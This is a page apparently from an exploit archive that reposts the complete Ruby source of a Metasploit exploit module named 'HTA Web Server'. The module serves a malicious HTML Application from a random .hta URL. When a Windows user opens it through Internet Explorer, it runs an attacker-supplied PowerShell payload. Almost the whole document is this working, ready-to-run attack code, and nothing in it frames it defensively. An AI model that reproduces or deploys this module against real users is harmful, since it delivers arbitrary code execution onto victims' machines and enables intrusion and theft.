Home / os / winmobile

HTA Web Server

Posted on 13 October 2016

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ManualRanking

include Msf::Exploit::Remote::HttpServer

def initialize(info = {})
super(update_info(info,
'Name' => 'HTA Web Server',
'Description' => %q(
This module hosts an HTML Application (HTA) that when opened will run a
payload via Powershell. When a user navigates to the HTA file they will
be prompted by IE twice before the payload is executed.
),
'License' => MSF_LICENSE,
'Author' => 'Spencer McIntyre',
'References' =>
[
['URL', 'https://www.trustedsec.com/july-2015/malicious-htas/']
],
# space is restricted by the powershell command limit
'Payload' => { 'DisableNops' => true, 'Space' => 2048 },
'Platform' => %w(win),
'Targets' =>
[
[ 'Powershell x86', { 'Platform' => 'win', 'Arch' => ARCH_X86 } ],
[ 'Powershell x64', { 'Platform' => 'win', 'Arch' => ARCH_X86_64 } ]
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Oct 06 2016'
))
end

def on_request_uri(cli, _request)
print_status('Delivering Payload')
p = regenerate_payload(cli)
data = Msf::Util::EXE.to_executable_fmt(
framework,
target.arch,
target.platform,
p.encoded,
'hta-psh',
{ :arch => target.arch, :platform => target.platform }
)
send_response(cli, data, 'Content-Type' => 'application/hta')
end

def random_uri
# uri needs to end in .hta for IE to process the file correctly
'/' + Rex::Text.rand_text_alphanumeric(rand(10) + 6) + '.hta'
end
end

 

TOP